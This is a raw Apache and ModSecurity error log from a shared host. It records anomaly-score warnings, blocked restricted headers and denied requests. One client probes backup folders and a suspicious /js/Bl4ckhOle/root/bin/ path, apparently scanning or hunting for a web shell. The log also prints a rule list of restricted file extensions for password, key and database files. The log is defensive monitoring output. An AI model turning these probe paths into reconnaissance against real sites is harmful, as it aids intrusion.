[Fri Jul 17 08:03:02.963160 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/config/"] [unique_id "almUXg5GPQ6hs4VrfMo4zQAAAAY"]
[Fri Jul 17 08:03:02.963787 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/config/"] [unique_id "almUXg5GPQ6hs4VrfMo4zQAAAAY"]
[Fri Jul 17 08:03:03.141410 2026] [authz_core:error] [pid 1993675:tid 1993675] [client 184.154.139.34:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/contact-form-7/readme.txt
[Fri Jul 17 08:03:04.805992 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:07.511600 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/backup/calender/css/"] [unique_id "almUY41dLClkUfK_dfHcNQAAAAI"]
[Fri Jul 17 08:03:07.511946 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/calender/css/"] [unique_id "almUY41dLClkUfK_dfHcNQAAAAI"]
[Fri Jul 17 08:03:07.545696 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/calender/css/"] [unique_id "almUY41dLClkUfK_dfHcNQAAAAI"]
[Fri Jul 17 08:03:09.234077 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUZVxP5-SsqbGuGB2f0gAAAAA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:03:09.234124 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUZVxP5-SsqbGuGB2f0gAAAAA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:03:09.251810 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:53758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:11.404668 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:34804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:11.610237 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:34806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:13.430054 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:34912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:15.086320 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:34990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:16.062796 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:35018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:21.854547 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getopt"] [unique_id "almUcZOFLENLI63GGOEFXwAAAAQ"]
[Fri Jul 17 08:03:21.854891 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getopt"] [unique_id "almUcZOFLENLI63GGOEFXwAAAAQ"]
[Fri Jul 17 08:03:21.855285 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getopt"] [unique_id "almUcZOFLENLI63GGOEFXwAAAAQ"]
[Fri Jul 17 08:03:26.183696 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.375525 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.403747 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.529037 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.535211 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.679333 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/watchgnupg"] [unique_id "almUdkMCK1PbyQ2qe6D9NgAAABQ"]
[Fri Jul 17 08:03:26.679727 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/watchgnupg"] [unique_id "almUdkMCK1PbyQ2qe6D9NgAAABQ"]
[Fri Jul 17 08:03:26.680095 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/watchgnupg"] [unique_id "almUdkMCK1PbyQ2qe6D9NgAAABQ"]
[Fri Jul 17 08:03:26.703699 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.760175 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.897985 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:26.915067 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:27.126704 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:27.207523 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:27.257005 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:28.899347 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:30.170995 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:47366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:30.474826 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:30.604797 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/css/"] [unique_id "almUekhq6UAnqYko0LpR8gAAABE"]
[Fri Jul 17 08:03:30.605261 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/css/"] [unique_id "almUekhq6UAnqYko0LpR8gAAABE"]
[Fri Jul 17 08:03:30.606027 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/css/"] [unique_id "almUekhq6UAnqYko0LpR8gAAABE"]
[Fri Jul 17 08:03:30.729265 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:47402] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:31.003185 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.062621 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.357035 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.406465 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.487660 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.526474 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.563763 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.721531 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.758952 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:31.806954 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:58610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:32.112122 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:32.165155 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:32.316837 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:32.769938 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:58660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:33.865841 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/img/"] [unique_id "almUfbyEqmgiTSUa55oDBAAAABA"]
[Fri Jul 17 08:03:33.866282 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/img/"] [unique_id "almUfbyEqmgiTSUa55oDBAAAABA"]
[Fri Jul 17 08:03:33.895522 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/img/"] [unique_id "almUfbyEqmgiTSUa55oDBAAAABA"]
[Fri Jul 17 08:03:34.764460 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:34.926625 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:35.056093 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:35.084167 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:35.123360 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:35.181426 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:35.812271 2026] [security2:error] [pid 1993715:tid 1993715] [client 185.162.166.200:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/surveillance-methods/www.sample.com"] [unique_id "almUf3RlmrtCoY_COpcdWAAAAAg"]
[Fri Jul 17 08:03:35.812756 2026] [security2:error] [pid 1993715:tid 1993715] [client 185.162.166.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/surveillance-methods/www.sample.com"] [unique_id "almUf3RlmrtCoY_COpcdWAAAAAg"]
[Fri Jul 17 08:03:35.867792 2026] [security2:error] [pid 1993715:tid 1993715] [client 185.162.166.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUf3RlmrtCoY_COpcdWAAAAAg"]
[Fri Jul 17 08:03:36.576109 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:36.721154 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:36.724417 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almUgOnUgtv5ujFYWh_qzAAAAA0"]
[Fri Jul 17 08:03:36.724949 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almUgOnUgtv5ujFYWh_qzAAAAA0"]
[Fri Jul 17 08:03:36.725560 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almUgOnUgtv5ujFYWh_qzAAAAA0"]
[Fri Jul 17 08:03:36.882371 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:36.953254 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:36.995548 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:38.299609 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:38.535450 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:39.047528 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ea-php80-pecl"] [unique_id "almUg3jA8yK8B7kryx3cowAAAAk"]
[Fri Jul 17 08:03:39.047899 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ea-php80-pecl"] [unique_id "almUg3jA8yK8B7kryx3cowAAAAk"]
[Fri Jul 17 08:03:39.048261 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ea-php80-pecl"] [unique_id "almUg3jA8yK8B7kryx3cowAAAAk"]
